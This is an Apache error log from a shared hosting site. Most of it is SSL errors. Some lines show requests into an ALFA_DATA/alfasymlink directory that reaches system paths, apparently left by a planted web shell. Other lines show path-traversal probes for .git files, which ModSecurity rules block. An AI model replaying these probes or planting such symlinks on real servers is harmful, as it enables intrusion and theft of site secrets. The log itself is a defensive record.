[Mon Oct 26 09:28:03.389578 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 34.231.118.144:8184] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:28:22.925622 2026] [ssl:error] [pid 3038662:tid 3038662] (70014)End of file found: [client 98.83.8.142:57347] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:28:26.895181 2026] [core:error] [pid 3038687:tid 3038687] (13)Permission denied: [client 52.5.242.243:27921] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory5/node0/memory5/subsystem/drivers_probe
[Mon Oct 26 09:28:31.101301 2026] [core:error] [pid 3026993:tid 3026993] (13)Permission denied: [client 3.221.50.71:59668] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/driver/new_id
[Mon Oct 26 09:28:34.854813 2026] [ssl:error] [pid 3038664:tid 3038664] (70014)End of file found: [client 18.205.127.11:4821] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:28:39.078639 2026] [ssl:error] [pid 3038662:tid 3038662] (70014)End of file found: [client 100.25.120.246:50074] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:28:43.102886 2026] [ssl:error] [pid 3034823:tid 3034823] (22)Invalid argument: [client 34.193.2.57:53869] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:28:50.955343 2026] [core:error] [pid 3038662:tid 3038662] (13)Permission denied: [client 34.195.60.66:59830] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/remove_id
[Mon Oct 26 09:29:07.442275 2026] [ssl:error] [pid 3034823:tid 3034823] (70014)End of file found: [client 50.16.248.61:35030] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:29:11.012501 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 3.213.85.234:17474] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:29:18.402574 2026] [ssl:error] [pid 3038660:tid 3038660] (70014)End of file found: [client 85.208.96.204:21868] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:29:27.160923 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 3.211.105.134:15912] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:29:35.217842 2026] [ssl:error] [pid 3038684:tid 3038684] (70014)End of file found: [client 100.29.34.97:47820] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:29:39.135231 2026] [ssl:error] [pid 3034812:tid 3034812] (70014)End of file found: [client 44.223.116.149:19714] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:29:47.171142 2026] [ssl:error] [pid 3038663:tid 3038663] (70014)End of file found: [client 54.83.23.103:31131] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:29:51.115010 2026] [core:error] [pid 3038684:tid 3038684] (13)Permission denied: [client 52.70.209.13:13711] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/physical_node/rescan
[Mon Oct 26 09:29:55.220370 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 98.83.178.66:12292] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:29:59.371360 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 18.235.81.246:33328] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:30:01.824986 2026] [core:error] [pid 3038664:tid 3038664] (13)Permission denied: [client 185.191.171.8:30132] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_free_data/objects_partial
[Mon Oct 26 09:30:04.693556 2026] [ssl:error] [pid 3034812:tid 3034812] (70014)End of file found: [client 85.208.96.207:21724] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:30:11.198480 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 35.168.238.50:4064] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:30:15.195001 2026] [core:error] [pid 3038664:tid 3038664] (13)Permission denied: [client 44.223.193.255:52944] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty28/subsystem/ttyS1/flags
[Mon Oct 26 09:30:16.754297 2026] [security2:error] [pid 3035808:tid 3035808] [client 45.138.12.27:10796] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at9V6Ds8VJ7QW5firx_lIQAAAAE"]
[Mon Oct 26 09:30:16.754357 2026] [security2:error] [pid 3035808:tid 3035808] [client 45.138.12.27:10796] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at9V6Ds8VJ7QW5firx_lIQAAAAE"]
[Mon Oct 26 09:30:16.754445 2026] [security2:error] [pid 3035808:tid 3035808] [client 45.138.12.27:10796] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at9V6Ds8VJ7QW5firx_lIQAAAAE"]
[Mon Oct 26 09:30:16.754708 2026] [security2:error] [pid 3035808:tid 3035808] [client 45.138.12.27:10796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at9V6Ds8VJ7QW5firx_lIQAAAAE"]
[Mon Oct 26 09:30:16.755015 2026] [security2:error] [pid 3035808:tid 3035808] [client 45.138.12.27:10796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at9V6Ds8VJ7QW5firx_lIQAAAAE"]
[Mon Oct 26 09:30:16.907642 2026] [security2:error] [pid 3039787:tid 3039787] [client 45.138.12.27:55409] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at9V6AFvZCDQk1o5ejluewAAAAI"]
[Mon Oct 26 09:30:16.907755 2026] [security2:error] [pid 3039787:tid 3039787] [client 45.138.12.27:55409] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at9V6AFvZCDQk1o5ejluewAAAAI"]
[Mon Oct 26 09:30:16.907891 2026] [security2:error] [pid 3039787:tid 3039787] [client 45.138.12.27:55409] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at9V6AFvZCDQk1o5ejluewAAAAI"]
[Mon Oct 26 09:30:16.908251 2026] [security2:error] [pid 3039787:tid 3039787] [client 45.138.12.27:55409] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at9V6AFvZCDQk1o5ejluewAAAAI"]
[Mon Oct 26 09:30:16.908650 2026] [security2:error] [pid 3039787:tid 3039787] [client 45.138.12.27:55409] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at9V6AFvZCDQk1o5ejluewAAAAI"]
[Mon Oct 26 09:30:16.916274 2026] [security2:error] [pid 3038664:tid 3038664] [client 45.138.12.27:45453] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at9V6AgazeYKT8ZOTcqEHgAAAAs"]
[Mon Oct 26 09:30:16.916500 2026] [security2:error] [pid 3038664:tid 3038664] [client 45.138.12.27:45453] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at9V6AgazeYKT8ZOTcqEHgAAAAs"]
[Mon Oct 26 09:30:16.916746 2026] [security2:error] [pid 3038664:tid 3038664] [client 45.138.12.27:45453] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at9V6AgazeYKT8ZOTcqEHgAAAAs"]
[Mon Oct 26 09:30:16.946012 2026] [security2:error] [pid 3038662:tid 3038662] [client 45.138.12.27:1524] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at9V6P8AdD1t8digB9IrsQAAAAc"]
[Mon Oct 26 09:30:16.946115 2026] [security2:error] [pid 3038662:tid 3038662] [client 45.138.12.27:1524] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at9V6P8AdD1t8digB9IrsQAAAAc"]
[Mon Oct 26 09:30:16.946184 2026] [security2:error] [pid 3038662:tid 3038662] [client 45.138.12.27:1524] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at9V6P8AdD1t8digB9IrsQAAAAc"]
[Mon Oct 26 09:30:16.946408 2026] [security2:error] [pid 3038662:tid 3038662] [client 45.138.12.27:1524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at9V6P8AdD1t8digB9IrsQAAAAc"]
[Mon Oct 26 09:30:16.946689 2026] [security2:error] [pid 3038662:tid 3038662] [client 45.138.12.27:1524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at9V6P8AdD1t8digB9IrsQAAAAc"]
[Mon Oct 26 09:30:16.959288 2026] [security2:error] [pid 3034818:tid 3034818] [client 45.138.12.27:50093] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9V6HYYJ1RlC0FZClQGJwAAABw"]
[Mon Oct 26 09:30:16.959503 2026] [security2:error] [pid 3034818:tid 3034818] [client 45.138.12.27:50093] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9V6HYYJ1RlC0FZClQGJwAAABw"]
[Mon Oct 26 09:30:16.959759 2026] [security2:error] [pid 3034818:tid 3034818] [client 45.138.12.27:50093] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9V6HYYJ1RlC0FZClQGJwAAABw"]
[Mon Oct 26 09:30:17.007454 2026] [security2:error] [pid 3023393:tid 3023393] [client 45.138.12.27:17972] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at9V6BuQQn9l7nrKN7L6ygAAABo"]
[Mon Oct 26 09:30:17.007521 2026] [security2:error] [pid 3023393:tid 3023393] [client 45.138.12.27:17972] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at9V6BuQQn9l7nrKN7L6ygAAABo"]
[Mon Oct 26 09:30:17.007575 2026] [security2:error] [pid 3023393:tid 3023393] [client 45.138.12.27:17972] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at9V6BuQQn9l7nrKN7L6ygAAABo"]
[Mon Oct 26 09:30:17.007818 2026] [security2:error] [pid 3023393:tid 3023393] [client 45.138.12.27:17972] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at9V6BuQQn9l7nrKN7L6ygAAABo"]
[Mon Oct 26 09:30:17.008164 2026] [security2:error] [pid 3023393:tid 3023393] [client 45.138.12.27:17972] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at9V6BuQQn9l7nrKN7L6ygAAABo"]
[Mon Oct 26 09:30:17.028528 2026] [security2:error] [pid 3034812:tid 3034812] [client 45.138.12.27:1361] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at9V6d9H6KHQp8xa7jINNQAAABQ"]
[Mon Oct 26 09:30:17.028747 2026] [security2:error] [pid 3034812:tid 3034812] [client 45.138.12.27:1361] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at9V6d9H6KHQp8xa7jINNQAAABQ"]
[Mon Oct 26 09:30:17.029046 2026] [security2:error] [pid 3034812:tid 3034812] [client 45.138.12.27:1361] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at9V6d9H6KHQp8xa7jINNQAAABQ"]
[Mon Oct 26 09:30:17.057642 2026] [security2:error] [pid 3038684:tid 3038684] [client 45.138.12.27:45150] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /lib../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at9V6Zf5Li7Pj9xX7mWoUgAAABU"]
[Mon Oct 26 09:30:17.057696 2026] [security2:error] [pid 3038684:tid 3038684] [client 45.138.12.27:45150] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /lib../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at9V6Zf5Li7Pj9xX7mWoUgAAABU"]
